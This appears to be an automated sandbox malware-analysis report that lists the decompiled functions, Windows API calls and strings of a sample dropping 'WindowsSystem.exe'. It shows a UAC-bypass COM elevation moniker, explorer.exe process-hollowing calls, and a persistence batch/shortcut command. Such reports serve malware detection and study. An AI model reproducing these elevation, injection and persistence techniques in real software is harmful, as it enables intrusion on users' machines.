Part of subcall function 00312E00: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,00315BB2), ref: 00312E28
Part of subcall function 00312E00: __snwprintf.LIBCMT ref: 00312E61
Part of subcall function 00312E00: lstrlenW.KERNEL32(00000000), ref: 00312E6D
Part of subcall function 00312E00: _memset.LIBCMT ref: 00312E97
Part of subcall function 00312E00: GetFileAttributesW.KERNEL32(00000000), ref: 00312EC0
Part of subcall function 00312E00: LocalFree.KERNEL32(00000000), ref: 00312EFD
Part of subcall function 00312E00: CoTaskMemFree.COMBASE(00315BB2), ref: 00312F07

Part of subcall function 00312AB0: CoInitializeEx.COMBASE(00000000,00000000), ref: 00312AE0
Part of subcall function 00312AB0: CoUninitialize.COMBASE ref: 00312DDD

Part of subcall function 00310010: SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,00316B10,00371178,00316B10), ref: 00310023
Part of subcall function 00310010: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00310034
Part of subcall function 00310010: wnsprintfW.SHLWAPI ref: 0031005F
Part of subcall function 00310010: lstrlenW.KERNEL32(?), ref: 00310070
Part of subcall function 00310010: CoTaskMemFree.COMBASE(?), ref: 0031007F

_memset.LIBCMT ref: 00315C2A
GetFileAttributesW.KERNEL32(?), ref: 00315C65
SHFileOperationW.SHELL32(?), ref: 00315C82
LocalFree.KERNEL32(?), ref: 00315CB1
_memset.LIBCMT ref: 00315D09
__snwprintf.LIBCMT ref: 00315D2E
_memset.LIBCMT ref: 00315D4D
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00315D61
_memset.LIBCMT ref: 00315D86
__snwprintf.LIBCMT ref: 00315DB1
__snwprintf.LIBCMT ref: 00315DD5
_memset.LIBCMT ref: 00315DF2
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000044,?), ref: 00315E36
GetCurrentProcess.KERNEL32 ref: 00315E45
DuplicateHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000002), ref: 00315E7D
GetCurrentProcess.KERNEL32 ref: 00315E8C
DuplicateHandle.KERNEL32(?,00000218,?,00000000,00000000,00000001,00000002), ref: 00315EC4
LoadLibraryW.KERNEL32(?), ref: 00315EDA
_memset.LIBCMT ref: 00315EFE
GetProcAddress.KERNEL32(?,?), ref: 00315F14
GetProcAddress.KERNEL32(?,?), ref: 00315F2E
lstrcpyW.KERNEL32(?,?), ref: 00315F48
lstrcpyA.KERNEL32(?,?), ref: 00315F5C
lstrcpyA.KERNEL32(?,?), ref: 00315F70
lstrcpyA.KERNEL32(?,?), ref: 00315F84
lstrcpyA.KERNEL32(?,?), ref: 00315F98
lstrcpyA.KERNEL32(?,?), ref: 00315FAC
lstrcpyA.KERNEL32(?,?), ref: 00315FBD
lstrcpyW.KERNEL32(?,?), ref: 00315FD1
lstrcpyW.KERNEL32(?,?), ref: 00315FE5
LocalFree.KERNEL32(?), ref: 00316079
CloseHandle.KERNEL32(?), ref: 0031609A
CloseHandle.KERNEL32(?), ref: 003160A7
TerminateProcess.KERNEL32(?,00000000), ref: 003160BF
LocalFree.KERNEL32(?), ref: 003160CC
OpenEventW.KERNEL32(00100002,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 003160DE
SetEvent.KERNEL32(00000000), ref: 003160FA
CloseHandle.KERNEL32(00000000), ref: 00316107

Strings

Software\%s, xrefs: 00315B1F
SOFTWARE\%s, xrefs: 00315B6B
WindowsSystem, xrefs: 00315BB2
{D961EA11-3F69-43D1-8581-E526BBBDC738}, xrefs: 00315B66
D, xrefs: 00315DFA
Software\%s, xrefs: 00315A87
{108D3252-20F0-4C1B-940D-6ED5366D8FD3}, xrefs: 00315B1A
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 003160D2
LF3, xrefs: 003159A5
PE3, xrefs: 003158D1
Software\%s, xrefs: 00315AD3
E3, xrefs: 0031597D
WindowsSystem.exe, xrefs: 00315D11
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00315A82
{DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}, xrefs: 00315ACE
%s%s, xrefs: 00315D1D
0F3, xrefs: 0031599B

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrcpy$Delete__snwprintf_memset$CloseHandle$AllocFile$FolderKnownOpenPathTaskwnsprintf$EventProcesslstrlen$Attributes$AddressCurrentDirectoryDuplicateProcValue$CreateInitializeLibraryLoadMutexObjectOperationRemoveSingleTerminateUninitializeWaitWindows
String ID: %s%s$0F3$D$LF3$PE3$SOFTWARE\%s$Software\%s$Software\%s$Software\%s$WindowsSystem$WindowsSystem.exe${108D3252-20F0-4C1B-940D-6ED5366D8FD3}${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${D961EA11-3F69-43D1-8581-E526BBBDC738}${DD700AA6-D197-4A4A-838A-B93EA96F236B}${DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}$E3
API String ID: 113497637-1625582440
Opcode ID: b8929a10b6a63aeefaf4771b5b49711fc1d31b774b6e312869fcead6df622d34
Instruction ID: c384fb7a8418518dc66745dd9bf4f710bb74542c208f27b430ec3a0600284972
Opcode Fuzzy Hash: b8929a10b6a63aeefaf4771b5b49711fc1d31b774b6e312869fcead6df622d34
Instruction Fuzzy Hash: 912219B5D00228ABDB3ADF50DC89FD9B7B8AB49700F0045D9E60DA6181EB756BC8CF51

Function 00301C80 Relevance: 77.2, APIs: 29, Strings: 15, Instructions: 207stringlibraryloaderCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,{8399C93C-77D8-4A9E-96D7-0200E8B3EE42}), ref: 00301CA2
_memset.LIBCMT ref: 00301CCC
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00301CE0
_memset.LIBCMT ref: 00301D05

Part of subcall function 0031C1E0: GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0030108E), ref: 0031C1EB
Part of subcall function 0031C1E0: GetProcAddress.KERNEL32(0030108E,IsWow64Process), ref: 0031C204

__snwprintf.LIBCMT ref: 00301D2F
__snwprintf.LIBCMT ref: 00301D51
_memset.LIBCMT ref: 00301D70
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00301D84
LocalAlloc.KERNEL32(00000040,00000DF0), ref: 00301DA3
GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00301DC1
GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 00301DD9
GetProcAddress.KERNEL32(?,GetProcAddress), ref: 00301DF3
lstrcpyW.KERNEL32(-000004B8,KERNEL32.DLL), ref: 00301E14
lstrcpyW.KERNEL32(-00000580,OLE32.DLL), ref: 00301E2B
lstrcpyW.KERNEL32(-00000648,00000000), ref: 00301E42
lstrcpyW.KERNEL32(-00000850,{D77DC119-1B4A-41E3-A066-2927413CA76D}), ref: 00301E59
lstrcpyW.KERNEL32(-00000A58,?), ref: 00301E73
lstrcpyA.KERNEL32(-00000C60,CoGetObject), ref: 00301E8A
lstrcpyA.KERNEL32(-00000D28,CoInitialize), ref: 00301EA2
lstrcpyA.KERNEL32(-00000D8C,IIDFromString), ref: 00301EBA
lstrcpyA.KERNEL32(-00000CC4,ExitProcess), ref: 00301ED1
lstrcpyW.KERNEL32(-00000008,{6EDD6D74-C007-4E75-B76A-E5740995E24C}), ref: 00301EE6
lstrcpyW.KERNEL32(-00000260,Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}), ref: 00301EFE

Part of subcall function 0030A1B0: GetCurrentProcess.KERNEL32 ref: 0030A1B9
Part of subcall function 0030A1B0: _memset.LIBCMT ref: 0030A1CA
Part of subcall function 0030A1B0: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,00302000), ref: 0030A21B
Part of subcall function 0030A1B0: NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 0030A251
Part of subcall function 0030A1B0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 0030A285
Part of subcall function 0030A1B0: NtMapViewOfSection.NTDLL(00000000,00000000), ref: 0030A290
Part of subcall function 0030A1B0: _memmove.LIBCMT ref: 0030A2AF

WaitForSingleObject.KERNEL32(00000000,00001388), ref: 00301F78
TerminateProcess.KERNEL32(00000000,00000000), ref: 00301FA9
CloseHandle.KERNEL32(00000000), ref: 00301FB6
CloseHandle.KERNEL32(?), ref: 00301FC3
LocalFree.KERNEL32(00000000), ref: 00301FD9
CloseHandle.KERNEL32(00000000), ref: 00301FE9

Strings

LoadLibraryW, xrefs: 00301DCD
CoInitialize, xrefs: 00301E90
IIDFromString, xrefs: 00301EA8
CoGetObject, xrefs: 00301E79
%s\explorer.exe, xrefs: 00301D40
{6EDD6D74-C007-4E75-B76A-E5740995E24C}, xrefs: 00301ED7
{8399C93C-77D8-4A9E-96D7-0200E8B3EE42}, xrefs: 00301C97
GetProcAddress, xrefs: 00301DE7
ExitProcess, xrefs: 00301EC0
OLE32.DLL, xrefs: 00301E1A
KERNEL32.DLL, xrefs: 00301E02
KERNEL32.DLL, xrefs: 00301DBC
Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 00301EEC
%s\SysWOW64\explorer.exe, xrefs: 00301D1E
{D77DC119-1B4A-41E3-A066-2927413CA76D}, xrefs: 00301E48

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Handle$Process_memset$AddressCloseCreateCurrentProc$DirectoryLocalModuleSection__snwprintf$AllocEventFreeObjectSingleTerminateViewWaitWindows_memmove
String ID: %s\SysWOW64\explorer.exe$%s\explorer.exe$CoGetObject$CoInitialize$Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}$ExitProcess$GetProcAddress$IIDFromString$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryW$OLE32.DLL${6EDD6D74-C007-4E75-B76A-E5740995E24C}${8399C93C-77D8-4A9E-96D7-0200E8B3EE42}${D77DC119-1B4A-41E3-A066-2927413CA76D}
API String ID: 326014250-2590975238
Opcode ID: 2673536bc5174a3722f5775fbcc3f4d83a26dd55324cabb151e5a3d86161bfa5
Instruction ID: a2af1000e6d5a8158e7315ab6f9b11075b72bef17386e598917754d79105c620
Opcode Fuzzy Hash: 2673536bc5174a3722f5775fbcc3f4d83a26dd55324cabb151e5a3d86161bfa5
Instruction Fuzzy Hash: 9B81A0B4941218ABDB35DB60DC89FEA77BAAB88700F0045D8F209A6280DB759AD4CF54

Function 0030C1F0 Relevance: 68.5, APIs: 29, Strings: 10, Instructions: 241memorystringprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0030C267
SetEvent.KERNEL32(00000000), ref: 0030C2B2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030C2E6
wnsprintfW.SHLWAPI ref: 0030C31C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030C32C
lstrcpyW.KERNEL32(00000000,00000000), ref: 0030C353
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030C379
lstrcpyW.KERNEL32(00000000,{9D5F29AE-FCE3-40C6-8BE3-47B8C62D31E2}), ref: 0030C39E
CoInitializeEx.COMBASE(00000000,00000006), ref: 0030C405
ShellExecuteExW.SHELL32(<@@), ref: 0030C418
GetLastError.KERNEL32 ref: 0030C424
CoUninitialize.COMBASE ref: 0030C439
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030C47A
wnsprintfW.SHLWAPI ref: 0030C4B5
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0030C4FC
OpenEventW.KERNEL32(00100002,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 0030C51D
SetEvent.KERNEL32(00000000), ref: 0030C539
CloseHandle.KERNEL32(00000000), ref: 0030C546
LocalFree.KERNEL32(00000000), ref: 0030C553
LocalFree.KERNEL32(00000000), ref: 0030C560
OpenEventW.KERNEL32(00100002,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 0030C574
SetEvent.KERNEL32(00000000), ref: 0030C590
CloseHandle.KERNEL32(00000000), ref: 0030C59D
LocalFree.KERNEL32(00000000), ref: 0030C5AA
LocalFree.KERNEL32(00000000), ref: 0030C5B7
LocalFree.KERNEL32(00000000), ref: 0030C5C4
LocalFree.KERNEL32(00000000), ref: 0030C5D1
shutdown.WS2_32(?,00000002), ref: 0030C5DD
closesocket.WS2_32(?), ref: 0030C5E7

Part of subcall function 0030B6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0030B701
Part of subcall function 0030B6D0: GetLastError.KERNEL32 ref: 0030B70C
Part of subcall function 0030B6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030B724
Part of subcall function 0030B6D0: __snwprintf.LIBCMT ref: 0030B74E
Part of subcall function 0030B6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0030B773
Part of subcall function 0030B6D0: GetLastError.KERNEL32 ref: 0030B77C
Part of subcall function 0030B6D0: LocalFree.KERNEL32(00000000), ref: 0030B7FC
Part of subcall function 0030B6D0: LocalFree.KERNEL32(00000000), ref: 0030B806

Strings

%s%s, xrefs: 0030C30B
<@@, xrefs: 0030C411, 0030C417
"%s%s" %s, xrefs: 0030C4A4
{0F01F64A-5A5B-4CC4-B069-D85368F634DD}, xrefs: 0030C493
H53, xrefs: 0030C3ED
@@, xrefs: 0030C3BF
WindowsSystem.exe, xrefs: 0030C2FF, 0030C498
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 0030C511, 0030C568
D, xrefs: 0030C4CF
{9D5F29AE-FCE3-40C6-8BE3-47B8C62D31E2}, xrefs: 0030C392

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocEvent$CreateErrorLast$CloseHandleOpenlstrcpywnsprintf$DirectoryExecuteFileInitializeProcessShellUninitialize__snwprintfclosesocketsetsockoptshutdown
String ID: "%s%s" %s$%s%s$<@@$@@$D$H53$WindowsSystem.exe${0F01F64A-5A5B-4CC4-B069-D85368F634DD}${9D5F29AE-FCE3-40C6-8BE3-47B8C62D31E2}${DD700AA6-D197-4A4A-838A-B93EA96F236B}
API String ID: 3249679174-591112596
Opcode ID: 61aca38f473fb02afe666feea531d00f59a02081ae7a9064a34c795051403864
Instruction ID: 034b3252cec2858f38c4d698ed2a84fae16158468daebab288d6bba520923e68
Opcode Fuzzy Hash: 61aca38f473fb02afe666feea531d00f59a02081ae7a9064a34c795051403864
Instruction Fuzzy Hash: 45A13AB5910218DFEB36DBA4DC59BADBB78BF48301F0085A9E60DA7290DB745AC4CF50

Function 003122D0 Relevance: 66.7, APIs: 29, Strings: 9, Instructions: 190memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,00316AFB), ref: 003122DD
SHGetKnownFolderPath.SHELL32(00337BF0,00000000,00000000,?), ref: 003122FD
__snwprintf.LIBCMT ref: 00312322

Part of subcall function 0030FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
Part of subcall function 0030FE20: lstrlenW.KERNEL32(?), ref: 0030FE86
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00371110), ref: 0030FE99
Part of subcall function 0030FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
Part of subcall function 0030FE20: __snwprintf.LIBCMT ref: 0030FEDA
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00000000), ref: 0030FEE6
Part of subcall function 0030FE20: CoTaskMemFree.COMBASE(?), ref: 0030FEF5

LocalAlloc.KERNEL32(00000040,00000BB8), ref: 0031234F
__snprintf.LIBCMT ref: 0031237E
SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,?), ref: 00312396
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 003123AB
__snwprintf.LIBCMT ref: 003123D5
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 003123E3
GetLastError.KERNEL32 ref: 003123F2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0031240A
__snwprintf.LIBCMT ref: 00312439
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0031245B
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000), ref: 00312487
CloseHandle.KERNEL32(000000FF), ref: 00312499
LocalFree.KERNEL32(00000000), ref: 003124C3
CoTaskMemFree.COMBASE(?), ref: 003124CD
CoTaskMemFree.COMBASE(?), ref: 003124D7
LocalFree.KERNEL32(00000000), ref: 003124E1
LocalFree.KERNEL32(00000000), ref: 003124EB
LocalFree.KERNEL32(00000000), ref: 003124F5
CloseHandle.KERNEL32(000000FF), ref: 0031250C
LocalFree.KERNEL32(00000000), ref: 00312516
LocalFree.KERNEL32(00000000), ref: 00312520
CoTaskMemFree.COMBASE(?), ref: 0031252A
LocalFree.KERNEL32(00000000), ref: 00312534
LocalFree.KERNEL32(00000000), ref: 0031253E
CoTaskMemFree.COMBASE(?), ref: 00312548
LocalFree.KERNEL32(00000000), ref: 00312552

Strings

%s\%s\%s.bat, xrefs: 0031242B
{18925F49-C14F-4A5B-BA0F-9C4106DA4CB0}, xrefs: 0031230B
{A786AA22-8EF1-44CE-8698-6F3988CB643E}, xrefs: 0031241D
{34E50511-FBB8-42F8-98A2-2629192A03A0}, xrefs: 00312362
{9771290C-19FB-4434-8B1F-8952BA10F287}, xrefs: 003123BE, 00312422
@echo offcmd /c start "" "%S%S" %S, xrefs: 00312370
WindowsSystem.exe, xrefs: 00312367
%s\%s.lnk, xrefs: 00312314
%s\%s, xrefs: 003123C7

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask$__snwprintf$FolderKnownPathlstrlen$CloseCreateFileHandle$DirectoryErrorLastWrite__snprintf
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.bat$@echo offcmd /c start "" "%S%S" %S$WindowsSystem.exe${18925F49-C14F-4A5B-BA0F-9C4106DA4CB0}${34E50511-FBB8-42F8-98A2-2629192A03A0}${9771290C-19FB-4434-8B1F-8952BA10F287}${A786AA22-8EF1-44CE-8698-6F3988CB643E}
API String ID: 2364451356-46602529
Opcode ID: 283382d6433c60010dc16610899b8523cc1b9ef441da1fa062674b45a8a1f916
Instruction ID: 0ef30adfa3466ce0f47fbc22f22966fb0eb835594f79f240700b3e97774a3ef2
Opcode Fuzzy Hash: 283382d6433c60010dc16610899b8523cc1b9ef441da1fa062674b45a8a1f916
Instruction Fuzzy Hash: 5E715EB5E40205EBDB26DBA4DC8AFEEBB79AF4C710F108518F605B62D0D7749980CB60

Function 0031FFF0 Relevance: 61.9, APIs: 41, Instructions: 361networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0031FFFF
WSACreateEvent.WS2_32 ref: 00320015
shutdown.WS2_32(000000FF,00000002), ref: 003204D0
closesocket.WS2_32(000000FF), ref: 003204DA

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CreateEventclosesocketshutdownsocket
String ID:
API String ID: 3702629066-0
Opcode ID: 15924345f88df42b2d5bca7cf895c3a439c203bc900b76e6cea17a0fb3e695ba
Instruction ID: 7329269bfac8f817bc818e98a68f32684539a175966eacd0543fb073676c4cdf
Opcode Fuzzy Hash: 15924345f88df42b2d5bca7cf895c3a439c203bc900b76e6cea17a0fb3e695ba
Instruction Fuzzy Hash: 4AF15074900228EFDF29DFA4E888BEDB7B9FF48310F208559E519A7251D7349A84DF50

Function 00304C30 Relevance: 59.8, APIs: 28, Strings: 6, Instructions: 257filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00304C50
_memset.LIBCMT ref: 00304C6F
_memset.LIBCMT ref: 00304C8E
SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,?), ref: 00304CAF
__snwprintf.LIBCMT ref: 00304CD8
CoTaskMemFree.COMBASE(?), ref: 00304CE7
_memset.LIBCMT ref: 00304D06
GetTempPathW.KERNEL32(00000104,?), ref: 00304D1A
__snwprintf.LIBCMT ref: 00304D3C
__snwprintf.LIBCMT ref: 00304D7C
CreateDirectoryW.KERNEL32(?,00000000), ref: 00304D8D
GetLastError.KERNEL32 ref: 00304D99
lstrcpyW.KERNEL32(?,?), ref: 00304DCF
__snwprintf.LIBCMT ref: 00304DF6
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00304E17
GetLastError.KERNEL32 ref: 00304E2C

Strings

"%s" "%s", xrefs: 00304EE3
%s\%s, xrefs: 00304DE5
D, xrefs: 00304F19
Open, xrefs: 00304FDF
%s\%s, xrefs: 00304D6B
"%s", xrefs: 00304FAF

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: __snwprintf_memset$CreateErrorLastPath$DirectoryFileFolderFreeKnownTaskTemplstrcpy
String ID: "%s"$"%s" "%s"$%s\%s$%s\%s$D$Open
API String ID: 37154465-2887319354
Opcode ID: b57003a8b69f40df5e6a721865c528d55f97e894fcd6fecc8a21cea3b1bbae5a
Instruction ID: ceb247dfef0921ea2a49ce56cf872340aebff7ab17b9c9912c23038a1e7a45f6
Opcode Fuzzy Hash: b57003a8b69f40df5e6a721865c528d55f97e894fcd6fecc8a21cea3b1bbae5a
Instruction Fuzzy Hash: 70A176B1A10318ABDB25DB60DC89FDA7779AF98704F004598F60DAA1C1EB749BC4CF91

Function 0030BE80 Relevance: 54.5, APIs: 25, Strings: 6, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 0030BE96

Part of subcall function 00301C80: CreateEventW.KERNEL32(00000000,00000001,00000000,{8399C93C-77D8-4A9E-96D7-0200E8B3EE42}), ref: 00301CA2
Part of subcall function 00301C80: _memset.LIBCMT ref: 00301CCC
Part of subcall function 00301C80: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00301CE0
Part of subcall function 00301C80: _memset.LIBCMT ref: 00301D05
Part of subcall function 00301C80: __snwprintf.LIBCMT ref: 00301D2F
Part of subcall function 00301C80: _memset.LIBCMT ref: 00301D70
Part of subcall function 00301C80: GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00301D84
Part of subcall function 00301C80: LocalAlloc.KERNEL32(00000040,00000DF0), ref: 00301DA3
Part of subcall function 00301C80: GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00301DC1
Part of subcall function 00301C80: GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 00301DD9
Part of subcall function 00301C80: GetProcAddress.KERNEL32(?,GetProcAddress), ref: 00301DF3
Part of subcall function 00301C80: lstrcpyW.KERNEL32(-000004B8,KERNEL32.DLL), ref: 00301E14
Part of subcall function 00301C80: lstrcpyW.KERNEL32(-00000580,OLE32.DLL), ref: 00301E2B
Part of subcall function 00301C80: lstrcpyW.KERNEL32(-00000648,00000000), ref: 00301E42

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0030BF0A
SetEvent.KERNEL32(00000000), ref: 0030BF5C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030BF90
wnsprintfW.SHLWAPI ref: 0030BFC6
OpenEventW.KERNEL32(00100002,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 0030C019
SetEvent.KERNEL32(00000000), ref: 0030C035
